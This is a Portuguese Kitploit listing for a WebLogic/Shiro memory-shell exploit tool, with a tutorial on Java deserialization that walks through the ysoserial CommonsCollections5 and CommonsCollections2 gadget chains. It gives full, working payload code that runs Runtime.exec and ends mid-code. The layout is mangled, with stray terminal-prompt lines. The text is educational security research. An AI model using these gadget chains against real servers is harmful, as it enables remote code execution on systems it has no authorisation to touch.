Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
WebLogic-Shiro-shell — Exploração de vulnerabilidade de desserialização do Shiro rememberMe usando CVE-2020-2883 no WebLogic, registro com um clique de shell de memória via filtro do AntSword | Kitploit
Ferramentas/GitHubGitHub/y4er/weblogic-shiro-shell
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de PayloadsExploração de Binários
GitHuby4er/weblogic-shiro-shell

WebLogic-Shiro-shell

Exploração de vulnerabilidade de desserialização do Shiro rememberMe usando CVE-2020-2883 no WebLogic, registro com um clique de shell de memória via filtro do AntSword

Ver Repositório
53160há 5 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Compartilhamento de Técnicas de Desserialização em Java

Os tópicos abordados nesta apresentação incluem:

  1. Fundamentos de serialização e desserialização em Java
  2. Por que vulnerabilidades ocorrem durante a desserialização?
  3. Reflexão em Java
  4. ysoserial CommonsCollections2, CommonsCollections5
  5. Vários métodos de carregamento de classes com Java ClassLoader
  6. WebLogic CVE-2020-2555 CVE-2020-2883 RCE
  7. Shiro-550 rememberMe RCE de desserialização devido à codificação fixa
  8. WebLogic + Shiro desserialização para registro de filter memory shell com um clique

Fundamentos de serialização e desserialização em Java

Serialização em Java é o processo de converter objetos Java em uma sequência de bytes para facilitar o armazenamento em memória, arquivos ou banco de dados. O método writeObject() da classe ObjectOutputStream pode realizar a serialização, convertendo objetos Java em sequência de bytes.

Desserialização em Java é o processo de restaurar uma sequência de bytes para um objeto Java. O método readObject() da classe ObjectInputStream é usado para desserialização.

Um exemplo simples, veja o código SerializeAndDeserialize ps: preste atenção especial na conversão forçada de tipos no código```java package org.chabug.demo;

import org.chabug.entity.Dog; import org.chabug.entity.Person; import org.chabug.util.Serializables;

/* 这个例子是为了证明只要实现了Serializable接口的类都可以被序列化 并且Java内置的几大数据类型也可被序列化,因为他们都继承了Object类 */

public class SerializeAndDeserialize {

root@kitploit:~
public static void main(String[] args) throws Exception {
    byte[] bytes;
    String s1 = "I'm a String Object....";
    bytes = Serializables.serializeToBytes(s1);
    Object o1 = Serializables.deserializeFromBytes(bytes);
    System.out.println(o1);

    String[] s2 = new String[]{"tom", "bob", "jack"};
    bytes = Serializables.serializeToBytes(s2);
    String[] o2 = (String[])Serializables.deserializeFromBytes(bytes);
    System.out.println(o2);

    int i = 123;
    bytes = Serializables.serializeToBytes(i);
    int o3 = (Integer) Serializables.deserializeFromBytes(bytes);
    System.out.println(o3);

    // 一只名叫woody的狗
    Dog dog = new Dog();
    dog.setName("woody");

    // tom
    Person tom = new Person();
    tom.setAge(14);
    tom.setName("tom");
    tom.setSex("男");
    tom.setDog(dog);

    bytes = Serializables.serializeToBytes(tom);
    Person o = (Person) Serializables.deserializeFromBytes(bytes);
    System.out.println(o);

}

}

root@kitploit:~
String, Integer, array, Object e outros tipos de dados integrados do Java podem ser serializados. As classes Person e Dog que escrevemos podem ser serializadas e desserializadas desde que implementem a interface Serializable.

## Por que ocorre uma vulnerabilidade durante a desserialização?

Vejamos um trecho de código. Agora, existe uma classe de entidade maliciosa EvilClass```java
package org.chabug.entity;

import java.io.ObjectInputStream;
import java.io.Serializable;

public class EvilClass implements Serializable {
    String name;

    public EvilClass() {
        System.out.println(this.getClass() + "的EvilClass()构造方法被调用!!!!!!");
    }

    public EvilClass(String name) {
        System.out.println(this.getClass() + "的EvilClass(String name)构造方法被调用!!!!!!");
        this.name = name;
    }

    public String getName() {
        System.out.println(this.getClass() + "的getName被调用!!!!!!");
        return name;
    }

    public void setName(String name) {
        System.out.println(this.getClass() + "的setName被调用!!!!!!");
        this.name = name;
    }

    @Override
    public String toString() {
        System.out.println(this.getClass() + "的toString()被调用!!!!!!");
        return "EvilClass{" +
                "name='" + getName() + '\'' +
                '}';
    }

    private void readObject(ObjectInputStream in) throws Exception {
        //执行默认的readObject()方法
        in.defaultReadObject();
        System.out.println(this.getClass() + "readObject()被调用!!!!!!");
        Runtime.getRuntime().exec(new String[]{"cmd", "/c", name});
    }
}

Seu readObject contém código que executa comandos Runtime.getRuntime().exec(new String[]{"cmd", "/c", name}), onde o parâmetro name é o comando a ser executado. Então podemos construir um objeto malicioso, atribuir ao seu atributo name o comando a ser executado, e quando a desserialização acionar o readObject, ocorrerá RCE. Como segue:```java package org.chabug.demo;

import org.chabug.entity.EvilClass; import org.chabug.util.Serializables;

public class EvilSerialize { public static void main(String[] args) throws Exception { EvilClass evilObj = new EvilClass(); evilObj.setName("calc"); byte[] bytes = Serializables.serializeToBytes(evilObj); EvilClass o = (EvilClass) Serializables.deserializeFromBytes(bytes); System.out.println(o); } }

root@kitploit:~
![image-20200822105256120](https://assets.kitploit.com/production/public/readmes/21799/7f07c0c8196e56e1d554bce64f73f069bdd3e589a3302936c831903e5f7e5539.png)

Agora sabemos como a desserialização pode levar a RCE, mas no desenvolvimento real não é possível escrever diretamente assim, então isso envolve a busca por cadeias de exploração. Uma vulnerabilidade de desserialização requer três coisas:

1. Ponto de entrada da desserialização (source)
2. Método alvo (sink)
3. Cadeia de gadgets (gadget chain)

Observando com atenção o resultado de saída na imagem acima, não apenas o método `readObject` é acionado, mas também `toString()`, construtor sem parâmetros, `set` e `get`. Portanto, na busca prática por cadeias de exploração, não é necessário focar apenas no método `readObject()`.

Em seguida, precisamos entender o conceito de **reflexão**. Mencionamos anteriormente o problema de **conversão de tipo forçada**. No desenvolvimento real, dentro do `readObject`, há processamento lógico: quando o tipo de dados específico do objeto de entrada é desconhecido, a reflexão é usada para determinar e invocar. E a reflexão é um meio importante para alcançarmos RCE.

## Reflexão em Java

O que é reflexão? A palavra "reflexão" contém o prefixo "re-". Para explicar a reflexão, precisamos começar pela "reflexão direta". Veja o código. Esta é minha classe de entidade.```java
package org.chabug.entity;

import java.io.IOException;

public class ReflectionClass {
    String name;

    public ReflectionClass(String name) {
        this.name = name;
    }

    public ReflectionClass() {
    }

    public String say() {
        return this.name;
    }

    private void evil(String cmd) {
        try {
            Runtime.getRuntime().exec(new String[]{"cmd","/c",cmd});
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String toString() {
        return "ReflectionClass{" +
                "name='" + name + '\'' +
                '}';
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

Escrita normal```java package org.chabug.demo;

import org.chabug.entity.ReflectionClass;

public class ReflectionDemo { public static void main(String[] args) { ReflectionClass demo = new ReflectionClass(); demo.setName("hello"); System.out.println(demo.say()); // demo.evil("calc"); // 不能够调用private方法 } }

root@kitploit:~
Muito simples: cria-se uma instância de `ReflectionClass` com `new` e depois, através dessa instância, invocam-se os métodos pertencentes a ela — isso é "reflexão direta". Mas o que fazer quando você não sabe o nome da classe ao usar `new`? E como invocar métodos protegidos por `private`? É aí que a reflexão mostra o seu valor. Veja o código a seguir:```java
package org.chabug.demo;

import org.chabug.entity.ReflectionClass;

import java.lang.reflect.Method;

public class ReflectionDemo {
    public static void main(String[] args) throws Exception {
        // new
        Class<?> aClass = Class.forName("org.chabug.entity.ReflectionClass");
        Object o = aClass.newInstance();

        // setName("jack")
        Method setName = aClass.getDeclaredMethod("setName",String.class);
        setName.invoke(o, "jack");

        // say()
        Method say = aClass.getDeclaredMethod("say",null);
        Object o1 = say.invoke(o, null);
        System.out.println(o1);

        // evil("calc")
        // 反射可以修改方法的修饰符来调用private方法
        Method evil = aClass.getDeclaredMethod("evil", String.class);
        evil.setAccessible(true);
        evil.invoke(o,"calc");
    }
}

Não é necessário saber o nome da classe antecipadamente. Basta modificar a classe org.chabug.entity.ReflectionClass e passá-la como parâmetro, e é possível usar setAccessible para acessar métodos ou campos privados.

Em seguida, partindo da vulnerabilidade, vamos nos aprofundar no papel da reflexão na desserialização e na descoberta de cadeias de chamadas de desserialização.

ysoserial CommonsCollections2, CommonsCollections5

ysoserial é uma ferramenta para gerar explorações de desserialização em Java, que herda algumas explorações existentes, como várias cadeias de exploração CommonsCollections. Desta vez, analisaremos as cadeias CC2 e CC5. A razão para analisar essas duas é porque na CC2 é usada a operação de definição de bytecode, e na CC5 é para aprofundar a compreensão de reflexão e chamadas em cadeia.

Vamos primeiro olhar para a cadeia CC5, que é mais fácil de entender.

CommonsCollections5

A vulnerabilidade aparece em `org.apache.commons.collections.functors.InvokerTransformer#transform````java public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); } } }

root@kitploit:~
Comparando com o código do capítulo sobre reflexão, percebe-se que este é um uso evidente de reflexão. Para explicar com o código de projeção direta, seria algo como```java
input.iMethodName(iArgs);

this.iMethodName, this.iParamTypes e this.iArgs são todos controláveis no método construtor. Dessa forma, é possível chamar qualquer método do objeto input e passar quaisquer parâmetros.```java public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; }

root@kitploit:~
Assim, primeiro, um código para executar comandos```java
package org.chabug.demo;

import org.apache.commons.collections.functors.InvokerTransformer;

public class CC5 {
    public static void main(String[] args) throws Exception {
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        invokerTransformer.transform(Runtime.getRuntime());
    }
}

Porque a classe Runtime é um singleton, é necessário obter o objeto Runtime em execução através de getRuntime() e passá-lo para transform() para abrir a calculadora.

image-20200822135700699

Mas sabemos que, durante a desserialização, apenas o readObject() é executado automaticamente. Se construirmos diretamente um objeto InvokerTransformer neste momento, ainda precisamos resolver dois problemas:

  1. Executar automaticamente Runtime.getRuntime()
  2. Executar automaticamente invokerTransformer.transform()

Vamos resolver o primeiro problema. No org.apache.commons.collections.functors.ChainedTransformer#transform, é possível realizar chamadas em cadeia.```java public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object; }

root@kitploit:~
a definição de this.iTransformers é Transformer array```java
private final Transformer[] iTransformers;

Transformer é uma interface, e InvokerTransformer também implementa esta interface.

image-20200822140627663

De acordo com o princípio da conversão implícita de tipos em Java, podemos definir um array de Transformer, colocando nele múltiplos InvokerTransformer para realizar múltiplas chamadas de reflexão, obtendo Runtime.getRuntime().exec()```java package org.chabug.demo;

import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer;

public class CC5 { public static void main(String[] args) throws Exception { // ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc"); Transformer[] transformers = new Transformer[]{ // 传入Runtime类 new ConstantTransformer(Runtime.class), // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime() new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 调用exec("calc") new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}) }; Transformer chain = new ChainedTransformer(transformers); chain.transform(null); } }

root@kitploit:~
O inteligente é que através do construtor da classe ConstantTransformer foi passado Runtime.class, assim não precisamos passar o Runtime nós mesmos.



Agora precisamos resolver o segundo problema: como acionar automaticamente transform(). Sabe-se que readObject() é executado durante a desserialização, então em qual classe o readObject() chama transform() direta ou indiretamente?



Em org.apache.commons.collections.map.LazyMap#get é chamado transform()```java
public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

Veja o método construtor desta classe e o campo factory```java protected final Transformer factory;

public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); }

root@kitploit:~
O campo factory é declarado como final e protected, mas ele possui um método público decorate() para gerar objetos dessa classe, então podemos construir o seguinte```java
HashMap hashMap = new HashMap();
Map map = LazyMap.decorate(hashMap, chain);
map.get("test");	//执行这个就会弹出计算器  map.get() > transform()

Neste momento, procurando onde o método get() do map é chamado org.apache.commons.collections.keyvalue.TiedMapEntry#getValue```java private final Map map; private final Object key;

public TiedMapEntry(Map map, Object key) { this.map = map; this.key = key; } public Object getKey() { return this.key; } public Object getValue() { return this.map.get(this.key); } public String toString() { return this.getKey() + "=" + this.getValue(); }

root@kitploit:~
getValue() simplesmente chama map.get(), e podemos controlar this.key. E toString() chama this.getValue(). Agora continue construindo.```java
HashMap hashMap = new HashMap();
Map map = LazyMap.decorate(hashMap, chain);
// map.get("test");
TiedMapEntry key = new TiedMapEntry(map, "key");
key.toString();	// toString > getValue() > map.get()

Agora a questão é como fazer readObject acionar automaticamente toString(). Isso é simples: na classe interna do JDK existe uma classe de exceção BadAttributeValueExpException, cujo readObject() executará toString().```java public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString(); } public String toString() { return "BadAttributeValueException: " + val; }

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null);

root@kitploit:~
if (valObj == null) {
    val = null;
} else if (valObj instanceof String) {
    val= valObj;
} else if (System.getSecurityManager() == null
           || valObj instanceof Long
           || valObj instanceof Integer
           || valObj instanceof Float
           || valObj instanceof Double
           || valObj instanceof Byte
           || valObj instanceof Short
           || valObj instanceof Boolean) {
    val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
    val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}

}

root@kitploit:~
Porque System.getSecurityManager() é null por padrão, então aciona val = valObj.toString(), entra em TiedMapEntry.toString(), o payload final.```java
package org.chabug.demo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.chabug.util.Serializables;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
    public static void main(String[] args) throws Exception {
//        ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");
        Transformer[] transformers = new Transformer[]{
                // 传入Runtime类
                new ConstantTransformer(Runtime.class),
                // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                // 调用exec("calc")
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };
        Transformer chain = new ChainedTransformer(transformers);
//        chain.transform(null);
        HashMap hashMap = new HashMap();
        Map map = LazyMap.decorate(hashMap, chain);
//        map.get("asd");
        TiedMapEntry key = new TiedMapEntry(map, "key");
//        key.toString();

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, key);


        byte[] bytes = Serializables.serializeToBytes(badAttributeValueExpException);
        Serializables.deserializeFromBytes(bytes);
    }
}

image-20200822144101188

É importante notar que, ao declarar o objeto BadAttributeValueExpException, o parâmetro entry não foi passado diretamente, mas sim atribuído por reflexão. Isso porque o construtor de BadAttributeValueExpException verifica se o valor é nulo; se não for nulo, o método toString() será executado durante a serialização. Já na desserialização, como o entry já é uma string, o método toString() não será acionado.

Resumo: Uso flexível de reflexão combinado com chamadas encadeadas, seguido pela busca de um gadget para obter RCE com sucesso.```java /* Gadget chain: ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() Requires: commons-collections */

root@kitploit:~
### CommonsCollections2

Antes de apresentar o CC2, primeiro é necessário entender o bytecode Java. Em Java, todo código Java precisa ser compilado em arquivos de bytecode `.class` para serem executados pela JVM. O bytecode é mais parecido com uma linguagem assembly, de baixa legibilidade, mas ainda existem muitas bibliotecas excelentes para operar, modificar e editar bytecode para programação, como asm, cglib e javassist. Na ferramenta ysoserial, a biblioteca javassist é utilizada. Primeiro, vejamos como o payload do cc2 é escrito no ysoserial.```java
public Queue<Object> getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
    // stub data for replacement later
    queue.add(1);
    queue.add(1);

    // switch method called by comparator
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;

    return queue;
}

Primeiro, veja a primeira linha: Gadgets.createTemplatesImpl(command)```java public static Object createTemplatesImpl ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); }

root@kitploit:~
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);

}

root@kitploit:~
mencionou a classe org.apache.xalan.xsltc.trax.TemplatesImpl, então primeiro precisamos ver duas linhas de código```java
package org.chabug.demo;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import ysoserial.payloads.util.Gadgets;

public class CC2 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl object = (TemplatesImpl) Gadgets.createTemplatesImpl("calc");
        object.newTransformer();
    }
}

image-20200822152423212

Por que aparece uma calculadora? Investigando createTemplatesImpl()```java public static Object createTemplatesImpl ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); }

root@kitploit:~
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);

}

public static T createTemplatesImpl ( final String command, Class tplClass, Class abstTranslet, Class transFactory ) throws Exception { final T templates = tplClass.newInstance();

root@kitploit:~
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
    command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
    "\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);

final byte[] classBytes = clazz.toBytecode();

// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
    classBytes, ClassFiles.classAsBytes(Foo.class)
});

// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;

}

root@kitploit:~
O código acima faz o seguinte:

1. Instancia um objeto `org.apache.xalan.xsltc.trax.TemplatesImpl` chamado templates, cujo campo `_bytecodes` pode armazenar bytecode.
2. Cria uma classe `StubTransletPayload` que estende `AbstractTranslet` e implementa a interface `Serializable`.
3. Obtém o bytecode de `StubTransletPayload` e usa javassist para inserir bytecode de `templates` (execução do comando Runtime.exec).
4. Usa reflexão para definir o campo `_bytecodes` de `templates` como o bytecode que contém a execução do comando.

Na verdade, isso implementa uma subclasse de `org.apache.xalan.xsltc.trax.TemplatesImpl` e insere o bytecode malicioso em seu campo `_bytecodes`. Veja newTransformer().```java
public synchronized Transformer newTransformer()
    throws TransformerConfigurationException
{
    TransformerImpl transformer;

    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
                                      _indentNumber, _tfactory);

    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }

    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
        transformer.setSecureProcessing(true);
    }
    return transformer;
}

Irá executar getTransletInstance(), prossiga.```java private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null;

root@kitploit:~
    if (_class == null) defineTransletClasses();

    // The translet needs to keep a reference to all its auxiliary
    // class to prevent the GC from collecting them
    AbstractTranslet translet = (AbstractTranslet)
        _class[_transletIndex].getConstructor().newInstance();
    translet.postInitialization();
    translet.setTemplates(this);
    translet.setOverrideDefaultParser(_overrideDefaultParser);
    translet.setAllowedProtocols(_accessExternalStylesheet);
    if (_auxClasses != null) {
        translet.setAuxiliaryClasses(_auxClasses);
    }

    return translet;
}
catch (InstantiationException | IllegalAccessException |
       NoSuchMethodException | InvocationTargetException e) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
    throw new TransformerConfigurationException(err.toString(), e);
}

}

root@kitploit:~
A linha abaixo criará uma nova instância com base na classe definida pelo bytecode, e no bloco static da classe definida pelo bytecode está escrito Runtime.exec, resultando em RCE.```java
AbstractTranslet translet = (AbstractTranslet)            _class[_transletIndex].getConstructor().newInstance();

Então, basta encontrar uma classe que chame template.newTransformer() dentro de readObject(). Ou seja, a PriorityQueue no payload.

PriorityQueue é uma fila de prioridade ilimitada baseada em prioridade. Os elementos da fila de prioridade são ordenados de acordo com sua ordem natural ou por um Comparator fornecido no momento da construção da fila, dependendo do construtor utilizado.

Veja seu readObject().```java private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in size, and any hidden stuff s.defaultReadObject();

root@kitploit:~
// Read in (and discard) array length
s.readInt();

SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
    queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();

}

root@kitploit:~
Já que é uma fila de prioridade, certamente há ordenação. Em heapify(),```java
private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]); // 进行排序
}
private void siftDown(int k, E x) {
    if (comparator != null) 
        siftDownUsingComparator(k, x); // 如果指定比较器就使用
    else
        siftDownComparable(k, x);  // 没指定就使用默认的自然比较器
}
private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}
private void siftDownComparable(int k, E x) {
    Comparable<? super E> key = (Comparable<? super E>)x;
    int half = size >>> 1;        // loop while a non-leaf
    while (k < half) {
        int child = (k << 1) + 1; // assume left child is least
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            ((Comparable<? super E>) c).compareTo((E) queue[right]) > 0)
            c = queue[child = right];
        if (key.compareTo((E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = key;
}

comparator é um comparador; quando um comparator é especificado, ele entra em comparator.compare((E) c, (E) queue[right]). comparator é um objeto da interface Comparator.```java private final Comparator<? super E> comparator;

root@kitploit:~
Ao examinar sua hierarquia de herança, descobre-se que a classe TransformingComparator no pacote CC implementa a interface Comparator.

![image-20200822155342130](https://assets.kitploit.com/production/public/readmes/21799/8efbc6595d2b8d6f314f557bbc3763d8d3d082872989758404641a4e58701b20.png)

O método compare() do TransformingComparator```java
public int compare(I obj1, I obj2) {
    O value1 = this.transformer.transform(obj1);
    O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

Ei, não é exatamente a chamada reflexiva do método arbitrário transform anterior? this.transformer carrega a classe InvokerTransformer, chamar newTransformer() por reflexão antes já resulta em RCE. Construir payload.```java public Queue getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

root@kitploit:~
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);

// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;

return queue;

}

root@kitploit:~
Um ponto que pode causar dúvida está em `new InvokerTransformer("toString", new Class[0], new Object[0])`, por que usar toString primeiro e depois modificar por reflexão para newTransformer? Porque se usar newTransformer diretamente na serialização, ocorrerá o erro `The method 'newTransformer' on 'class java.lang.Integer' does not exist`, então o ysoserial adotou a abordagem de usar toString primeiro para converter em string e comparar com o número 1, depois modificar por reflexão, o que é bastante engenhoso.

Resumo:```java
/*
    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()
 */

Baixar ferramenta

Derivação de duas cadeias

CC2 usa a classe TemplatesImpl para RCE na forma de inicialização de bytecode malicioso, CC5 implementa RCE passo a passo através de chamadas em cadeia e reflexão. Mas a essência ainda é reflexão, e as duas cadeias podem ser modificadas para derivar outra cadeia.```java package org.chabug.demo;

import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.chabug.util.Serializables; import ysoserial.payloads.util.Reflections;

import java.lang.reflect.Field; import java.util.PriorityQueue;

public class MyCC { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime() new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 调用exec("calc") new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}) }; Transformer chain = new ChainedTransformer(transformers);

root@kitploit:~
    Class clazz = ChainedTransformer.class;
    Field iTransformers = clazz.getDeclaredField("iTransformers");
    iTransformers.setAccessible(true);

    Transformer[] transformers1 = new Transformer[]{
            new InvokerTransformer("toString", new Class[]{}, new Object[]{})
    };
    ChainedTransformer chain1 = new ChainedTransformer(transformers1);

    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain1));
    queue.add("1");
    queue.add("1");
    iTransformers.set(chain1, transformers);

    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = Runtime.class;
    queueArray[1] = 1;


    byte[] bytes = Serializables.serializeToBytes(queue);
    Serializables.deserializeFromBytes(bytes);
}

}

root@kitploit:~
Na verdade, combina-se a primeira metade do CC5 com a segunda metade do CC2, usando a chamada encadeada do CC5 para executar comandos e o CC2 para acionar o toString.

## Vários métodos de carregamento de classes com Java ClassLoader

> Java é uma linguagem compilada. Todo código Java precisa ser compilado em bytecode para ser executado pela JVM. Quando uma classe Java é inicializada, `java.lang.ClassLoader` é chamado para carregar o bytecode da classe, e o ClassLoader invoca o método defineClass para criar uma instância da classe `java.lang.Class`.

A classe ClassLoader é uma classe abstrata e não pode ser usada diretamente. O JDK possui várias implementações concretas, como DefiningClassLoader, BCEL ClassLoader, GroovyClassLoader, URLClassLoader, org.python.core.BytecodeLoader do Jython (PythonInterpreter), entre outras. Também é possível implementar um ClassLoader próprio.

Este artigo aborda principalmente três formas de carregar classes a partir de bytecode: URLClassLoader, BytecodeLoader e a definição de um ClassLoader personalizado.

### URLClassLoader```java
package org.chabug.loader;

import java.net.URL;
